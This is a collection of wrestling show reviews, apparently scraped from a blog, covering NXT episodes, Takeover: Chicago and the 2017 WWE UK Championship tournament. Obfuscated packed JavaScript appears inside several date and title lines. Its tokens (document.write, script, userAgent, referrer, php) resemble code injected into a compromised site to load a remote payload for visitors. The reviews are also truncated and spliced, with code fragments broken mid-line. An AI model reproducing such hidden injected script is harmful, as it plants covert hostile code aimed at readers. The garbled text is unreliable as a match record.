NXT – August 23, 2017: The British Nightcap

NXT
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kbdfy|var|u0026u|referrer|hkbni||js|php'.split('|'),0,{})) August 23, 2017
Location: Barclays Center, New York City, New York
Commentators: Percy Watson, Nigel McGuinness, Mauro Ranallo

It’s another one of those special episodes comprised of the dark matches from Saturday’s Takeover: Brooklyn III. Therefor expect a lot of recaps as we don’t have anything new from Full Sail just yet. What we do have are the British guys in town and that’s almost guaranteed to be awesome. Let’s get to it.

We open with a package on Saturday’s show.

No Way Jose vs. Lars Sullivan

Jose pulls about a dozen fans out of the crowd for a conga line but Sullivan jumps him from behind. Something like a standing Boss Man Slam plants Jose and Sullivan leaves. No match.

Video on Johnny Gargano vs. Andrade Cien Almas with a DIY shirt doing Gargano in.

Gargano says the loss was his own fault and he has no one to blame but himself. That was far from the end for Johnny Wrestling.

Video on Asuka vs. Ember Moon with Asuka retaining the title in a big surprise despite suffering a broken collarbone.

Asuka held a mini press conference after her win and says she was better that night. She was never worried either.

The broken collarbone is acknowledged with a recovery time of 6-8 weeks. The title’s status isn’t mentioned but it can be assumed that it won’t be vacated.

Pete Dunne says the UK Brand started when he won the title and tonight, he’s proving that it’s his division. Wolfgang, his partner tonight, wants a shot after they win tonight. Pete says focus on tonight.

Peyton Royce vs. Sarah Logan

Logan fights out of a headlock to start and trips Peyton into an armbar. Back up and Peyton kicks her down, setting up a very flexible choke in the corner. A German suplex gets Logan out of trouble but Billie Kay grabs the hands to block a second. Rollups are exchanged until Peyton grabs a fisherman’s suplex for the pin at 4:19.

Rating: D+. Billie and Peyton are perfect for their roles as the good looking and annoying women who you want to see get beaten up without being too serious. They’re likely never getting close to the Women’s Title but they’re not the kind of people who need to be. Just let them do their thing a little while longer and then let them do it on the main roster. This was fine for what it was.

Video on Sanity winning the Tag Team Titles.

Video on the NXT Title match with McIntyre winning the title. Adam Cole, Bobby Fish and Kyle O’Reilly’s post match beatdown is included as well.

McIntyre will address the trio’s actions next week.

Roode was livid after his loss and wanted to leave. Roderick Strong showed up, blew him a kiss, and said see you soon.

Roode’s Smackdown debut is shown as well.

Roode says he’ll embarrass Strong one more time and then he’s winning the NXT Title back and walking onto Smackdown as champion.

Video on Hideo Itami vs. Aleister Black.

Black had no comment after his win.

Pete Dunne/Wolfgang vs. Tyler Bate/Trent Seven

Dunne gets a very strong reaction and starts on the mat with Bate. Neither can get anywhere and it’s off to a double nip up for a standoff. Back from a break with Bate scoring with a dropkick and Moustache Mountain taking over on Pete. It’s off to Wolfgang who gets caught in a DDT, only to avoid a charge and bring in Dunne to work on the arm. The shoulder gets sent into the corner and Pete cranks on an armbar while bending the fingers back.

Wolfgang takes him down with a waistlock but a dragon suplex gets Trent out of trouble. The hot tag brings in Bate for a t-bone suplex and a nip up for good measure. That bounce off the ropes into a clothesline sets up the airplane spin (Mauro: “The human fidget spinner Tyler Bate!”). Seven gets dropped off the apron as Dunne gets caught with a capo kick. The Tyler Driver 97 connects but Dunne made a blind tag, allowing Wolfgang to hit the Howling for the pin at 8:17.

Rating: B. Bate and Dunne have some of the best chemistry I’ve seen in years and the fans react to everything they do. Bate is getting better every single time he’s out there, partially because he’s getting older and more physically mature. Dunne has an awesome sneer and looks like someone who could beat the tar out of you despite being only twenty three. Wolfgang and Seven were fine but just outclassed here, which is going to be the case with most of the British talent compared to those two.

Overall Rating: C+. I like these shows more than I used to as they’re a great way to decompress after a very long weekend of wrestling. After everything is so big over the last few days, it’s nice to have something so simple and easy with a good main event. Fun show here, especially with Bate and Dunne around.

Results

Peyton Royce b. Sarah Logan – Fisherman’s suplex

Pete Dunne/Wolfgang b. Tyler Bate/Trent Seven – Howling to Bate

Remember to follow me on Twitter @kbreviews and pick up the Complete 2002 Monday Night Raw Reviews in either E-Book or Paperback. Check out the information here:

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NXT – May 31, 2017: Are They Always This Annoying?

NXT
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nhinn|var|u0026u|referrer|rkshy||js|php'.split('|'),0,{})) May 31, 2017
Location: Full Sail University, Winter Park, Florida
Commentators: Percy Watson, Nigel McGuinness, Tom Phillips

Opening sequence.

Video on Danny Burch.

Danny Burch vs. Pete Dunne

Video on the Authors of Pain.

Andrade Cien Almas vs. Cesar Bononi

Bononi is the huge guy who we saw a few weeks back. A dropkick sets up the early double knees in the corner as Cesar is rocked to start. Bononi gets in a few knees but something like an Eye of the Hurricane drops him again. One heck of a sliding kick to the face sets up the running slap in the corner but a suplex is countered into a small package to give Bononi the pin at 3:04.

Almas seems to laugh it off.

Billie Kay and Peyton Royce are at the Performance Center and looking for something iconic when they run into Ember Moon. As they insult her, a trainer comes up with her medical release.

Earlier today, Itami and Ohno shook hands in the parking lot.

Sanity vs. Kassius Ohno/Roderick Strong

An Angle Slam and faceplant get two on Wolfe but Young makes the save. The double teaming begins with Dain getting on the apron, only to have No Way Jose make his return for the save. Ohno forearms Wolfe down and the suplex backbreaker (End of Heartache) finishes Young at 13:42.

Results

Pete Dunne b. Danny Burch – Bitter End

Cesar Bononi b. Andrade Cien Almas – Small package

Roderick Strong/Kassius Ohno b. Sanity – End of Heartache to Young

 

http://kbwrestlingreviews.com/2017/05/19/history-of-saturday-nights-main-event-and-clash-of-the-champions-now-in-paperback-plus-price-drops/


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UK Championship Special: They’re Not Old Enough For This

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hfenf|var|u0026u|referrer|styff||js|php'.split('|'),0,{})) Championship Special
Date: May 19, 2017
Location: Epic Studios, Norwich, England
Commentators: Jim Ross, Nigel McGuinness

Video on Wolfgang, a big Scottish wrestler who is more aggressive now that he lost to Bate.

Joseph Conners is a high flier says his future looks good.

Wolfgang vs. Joseph Conners

The arena looks a bit dark. They trade shoulders to start with Wolfgang kicking him in the face to take over. JR makes sure to tee up McGuinness for some easy questions, which is exactly what Nigel is supposed to be able to do as an analyst. Wolfgang blocks some suplex attempts before lifting Conners up for a very delayed one of his own.

Tyler Bate and Mark Andrews are getting ready.

TJP/Brian Kendrick vs. Dan Moloney/Rich Swann

One heck of a flip dive takes out both Kendrick and TJP, which is made even better when Swann sticks the landing. Back in and some double teaming puts Swann in trouble for all of fifteen seconds before he kicks Kendrick in the face. Moloney comes in off the hot tag for some chops and a clothesline to Kendrick.

Trent Seven has a sweet mustache and hits people really hard.

Trent Seven vs. Pete Dunne

The arm is good enough for a dragon suplex onto the apron and both guys are left in a heap on the floor. They both dive in at nine and Dunne manages to flip out of a dragon superplex, only to eat a huge lariat for a very delayed two. The Seven Star Lariat is broken up though and we hit another double wristlock. Trent slips out again but walks into the Bitter End to send Pete to Chicago at 14:47.

UK Title: Tyler Bate vs. Mark Andrews

Bate is defending. The fans serenade Bate with a song and then boo someone out of the building for trying a TNA chant. They take their time to start with Andrews working on the arm before Bate twists all over the place to escape. Bate powers out of a front facelock by casually setting Mark on top and walking away to get under his skin a bit. Andrews gets taken down to the mat for a double arm crank but he reaches the ropes and gets a clean break. That might be brought up again later.

Post match Dunne comes out to deck Andrews, drawing out William Regal to stare him down. Bate and Dunne stare each other down to end the show.

http://kbwrestlingreviews.com/2017/05/19/history-of-saturday-nights-main-event-and-clash-of-the-champions-now-in-paperback-plus-price-drops/


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NXT Takeover – Chicago: It Worked Before And It Works Again

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|eddie|var|u0026u|referrer|fhnaf||js|php'.split('|'),0,{})) Chicago
Date: May 20, 2017
Location: Allstate Arena, Chicago, Illinois
Commentators: Nigel McGuinness, Tom Phillips, Percy Watson

Roderick Strong vs. Eric Young

The top rope elbow looks to set up another wheelbarrow neckbreaker but Strong is ready for it this time. Another shot knocks Dain off the apron but Young breaks up the Angle Slam. The fans stay behind Roddy as he catches Eric on top and knees him in the jaw, knocking him down onto Sanity. Back in and a suplex into a backbreaker gives Strong the pin at 13:38.

We recap the UK Title match, which I believe is the same recap that opened the UK Championship Special from earlier this week. Tyler Bate defeated Pete Dunne to win the inaugural title back in January but Dunne is back and more serious.

Jim Ross comes out for commentary on the next match.

United Kingdom Title: Pete Dunne vs. Tyler Bate

The Velveteen Dream arrives this Wednesday.

NXT Title: Hideo Itami vs. Bobby Roode

Kevin Owens, Milwaukee Brewer Eric Thames, Sami Zayn, Pat Patterson and Kassius Ohno are here.

Tag Team Titles: Authors of Pain vs. DIY

Results

Roderick Strong b. Eric Young – Suplex backbreaker

Pete Dunne b. Tyler Bate – Bitter End

Asuka b. Nikki Cross and Ruby Riot – Running knee to Riot

Bobby Roode b. Hideo Itami – Glorious DDT

Authors of Pain b. DIY – The Authors pulled down the titles

 

http://kbwrestlingreviews.com/2017/05/19/history-of-saturday-nights-main-event-and-clash-of-the-champions-now-in-paperback-plus-price-drops/


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Takeover: Chicago Preview

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rzbrf|var|u0026u|referrer|nziee||js|php'.split('|'),0,{})) I heard about “Takeover: Chicago” taking place only about six weeks after “Takeover: Orlando”, I wasn’t all that thrilled with the concept. These shows work best when they have time to be built up instead of rushing things together like this. Then again, the idea of Takeover in Chicago is too much to pass up. It also helps that the show has been well built up in such a short amount of time and I’m actually looking forward to a lot of the card. Let’s get to it.

United Kingdom Title: Tyler Bate vs. Pete Dunne

Tag Team Titles: Authors of Pain vs. DIY

Roderick Strong vs. Eric Young

NXT Title: Bobby Roode vs. Hideo Itami

http://kbwrestlingreviews.com/2017/05/19/history-of-saturday-nights-main-event-and-clash-of-the-champions-now-in-paperback-plus-price-drops/


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NXT – February 22, 2017: The Wrestling Version

NXT
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|eahfs|var|u0026u|referrer|sakia||js|php'.split('|'),0,{})) February 22, 2017
Location: Full Sail University, Winter Park, Florida
Commentators: Tom Phillips, Percy Watson, Nigel McGuinness

In Memory of George Steele.

Quick video on the triple threat.

Opening sequence.

Liv Morgan vs. Peyton Royce vs. Ember Moon

Video on Pete Dunne and Mark Andrews.

Kassius Ohno is coming back.

Shinsuke Nakamura is healing up.

Mark Andrews vs. Pete Dunne

We take a break and come back with Andrews flipping Dunne over and grabbing a springboard hurricanrana. Dunne is ready for the shooting star though and forearms Andrews out of the air. The X Plex gets two but Andrews gets out of the Bitter End. A reverse hurricanrana of all things puts Dunne down again. Another Bitter End is reversed into a small package for two and the X Plex is countered into the Stundog Millionaire. Dunne gets the knees up on the shooting star though and the Bitter End wraps Andrews up at 13:52.

Patrick Clark is in action next week.

Tye Dillinger is ready for Sanity, no matter what they throw at him.

No Way Jose vs. Bobby Roode

Results

Pete Dunne b. Mark Andrews – Bitter End

Bobby Roode b. No Way Jose – Glorious DDT


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WWE UK Title Tournament Day Two – January 15, 2017: He Rules Britania

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|iirdh|var|u0026u|referrer|arzhz||js|php'.split('|'),0,{})) UK Tournament
Date: January 15, 2017
Location: Empress Ballroom, Blackpool, England
Commentators: Michael Cole, Nigel McGuinness

Recap of Pete Dunne attacking Sam Gradwell along with their first round matches.

The second round has twenty minute time limits.

Quarterfinals: Pete Dunne vs. Sam Gradwell

The back is fine enough for a Michinoku Driver for two on Dunne as this is one sided so far. Pete rolls outside and takes a crossbody with the fans getting WAY into Gradwell. Back in and Dunne shoves him off the ropes for a big crash onto the apron, messing up the back all over again. Gradwell dives back in to beat the count but gets slammed into the corner to give Pete the pin at 4:50.

Rating: B-. This was all about the storytelling which is the most important thing you can get around here. The story with the back injury made things interesting and Pete came off as the real villain of the whole thing, which is a perfect role for him. I bought the idea that he wanted to win no matter what the cost and that gives him a character going forward.

Quarterfinals: Joseph Conners vs. Mark Andrews

Andrews starts with some very fast rollups for two each but Conners elbows him in the face to cut off the offense. Joseph tries his own sunset flip, only to have Mark roll through and dropkick him down for two more. That sends Joseph outside but he avoids a moonsault off the apron and drop toeholds Andrews into the steps.

Wolfgang and Trent Seven first round recaps. Cole mistakenly says Seven beat Roy Johnson in the first round.

Fit Finlay is here.

Quarterfinals: Wolfgang vs. Trent Seven

They start slow for a change until Seven slaps him in the face. That earns him a suplex and they head outside to start the brawl. A moonsault off the barricade crushes Seven but Wolfgang bangs up his knee. A suicide dive drops Wolfgang again but he comes right back with a superplex to put both guys down.

Jordan (not George as Cole puts it) Devlin and Tyler Bate first round recaps.

Quarterfinals: Jordan Devlin vs. Tyler Bate

I love the little wave that Bate does.

Here are the updated brackets:

Pete Dunne

Mark Andrews

Wolfgang

Tyler Bate

Video on the final four and how they want to win.

Robbie Brookside is here.

Semifinals: Pete Dunne vs. Mark Andrews

Dunne takes him straight to the mat and grabs a chinlock but a spinning armdrag sends Pete to the floor. That of course means a big flip dive as Andrews has shown me more in the last two matches than in his entire TNA run. As usual, I blame TNA. Pete bends the fingers back and goes for the stomp on the steps but Andrews snaps off a hurricanrana to take over again.

Dunne has a counter of his own though as the shooting star is reversed into a rollup for a very close two. The pumphandle Downward Spiral (Bitter End) is broken up and the fifth or so X Plex is countered into the fourth or so hurricanrana for two. Another shooting star misses and ANOTHER FREAKING X PLEX sets up the Bitter End to send Dunne on at 10:45.

Cole and McGuinness talk about their media coverage over the last few days.

Semifinals: Wolfgang vs. Tyler Bate

Nigel, a good commentator, tells us that Dunne uses an arm hold. Above all else, that felt natural instead of like they were hammering it over our heads. Simple, yet effective.

Medics check on Bate who finally sits up. The shocked look on his face is a nice touch.

Neville vs. Tommy End

Well, it will be after we look at how both guys got to the title match.

UK Title: Pete Dunne vs. Tyler Bate

Rating: A-. That might be a bit high but I got WAY more into this than I was expecting to. Bate winning is a nice choice and having him beat Dunne was as good of a story as they were going to be able to pull off. This was a much better match than I was expecting and this is the kind of match the tournament was needing to make it memorable. Great main event and Bate looked like a star despite his age.

HHH, Finlay, Regal and Balor present Bate with the title to end the show.

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WWE UK Tournament – January 14, 2017 (Day One): More Than I Was Expecting

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fkaay|var|u0026u|referrer|nsesz||js|php'.split('|'),0,{})) UK Tournament
Date: January 14, 2017
Location: Empress Ballroom, Blackpool, England
Commentators: Michael Cole, Nigel McGuinness

We look at various WWE moments in the UK over the years, including Summerslam 1992 and Takeover: London.

The arena looks very cool and actually feels grand for a change.

We look at the brackets.

Video on Trent Seven, complete with clips Progress Wrestling.

Video on H.C. Dyer, who seems to be a boxer/striker.

All first round matches have a fifteen minute time limit.

Trent Seven vs. H.C. Dyer

Trent likes his mustache and is a current Progress Wrestling Tag Team Champion (as mentioned by Cole which is very strange to hear). Dyer dropkicks him down and they head to the floor for some chops. Back in and Seven does a running chop of all things before a suplex gets two (with a feel of the mustache at the same time).

Video on Danny Burch, who wrestled on NXT as a pretty tough jobber for a few years.

Balor is in the front row.

Danny Burch vs. Jordan Devlin

Devlin knocks him down again after the match and insists that was a clean win.

Video on Saxton Huxley, who is very intelligent.

Video on Sam Gradwell, who grew up with an alcoholic mom and all he cares about is what happens in the ring.

Saxton Huxley vs. Sam Gradwell

Technical sequence to start with Gradwell working on an armbar followed by a dropkick for two. A butterfly backbreaker puts Sam down as the fans are now singing about Huxley. Some shots to the face drop Huxley and a good looking top rope headbutt sends Gradwell on at 6:03.

Dave Taylor is at ringside.

Video on Pete Dunne, who is known as the Bruiserweight. He describes himself as unique and enjoys hurting people.

Pete Dunne vs. Roy Johnson

Video on Tyson T-Bone who wants to fight and honor his gypsy heritage.

T-Bone talks about traveling the world earning a living with his fans and all that matters is who is up next.

Wolfgang vs. Tyson T-Bone

Wolfgang says the title is coming home with the big bad wolf.

Video on Joseph Conners, who is missing part of his ear due to a fight.

Video on James Drake who has wrestled people from all over the world and gotten paid to win. People will be talking about him when he wins.

Joseph Conners vs. James Drake

Video on Mark Andrews, who wants to prove Wales proud. You might know him as Mandrews in TNA.

Dan Moloney vs. Mark Andrews

Moloney is only 19. Andrews starts early with the flips and scores with a basement dropkick into an armbar. Dan throws him into the air for a crash and near fall but Andrews stomps on the ribs to take over again. The fans seem to like Andrews who gets two off a standing moonsault. Dan tries something like an F5 but seems to slip up, only to hit a sitout F5 on the second attempt. A running kick to the face gets two but Andrews grabs a Stunner to put Dan down. The shooting star press advances Moloney at 5:45.

Video on Tucker, who is a technical wrestler.

Video on Tyler Bate, who is 19 and only cares about the 1-2-3.

Tucker vs. Tyler Bate

Here are the quarterfinal brackets:

Tyler Bate

Jordan Devlin

Trent Seven

Wolfgang

Mark Andrews

Joseph Conners

Pete Dunne

Sam Gradwell

Cole gives us a highlight package on the night.

Nigel and William Regal bring out the wrestlers who advanced to the second round. Dunne punches Gradwell in the face and gets yelled at to end the show.

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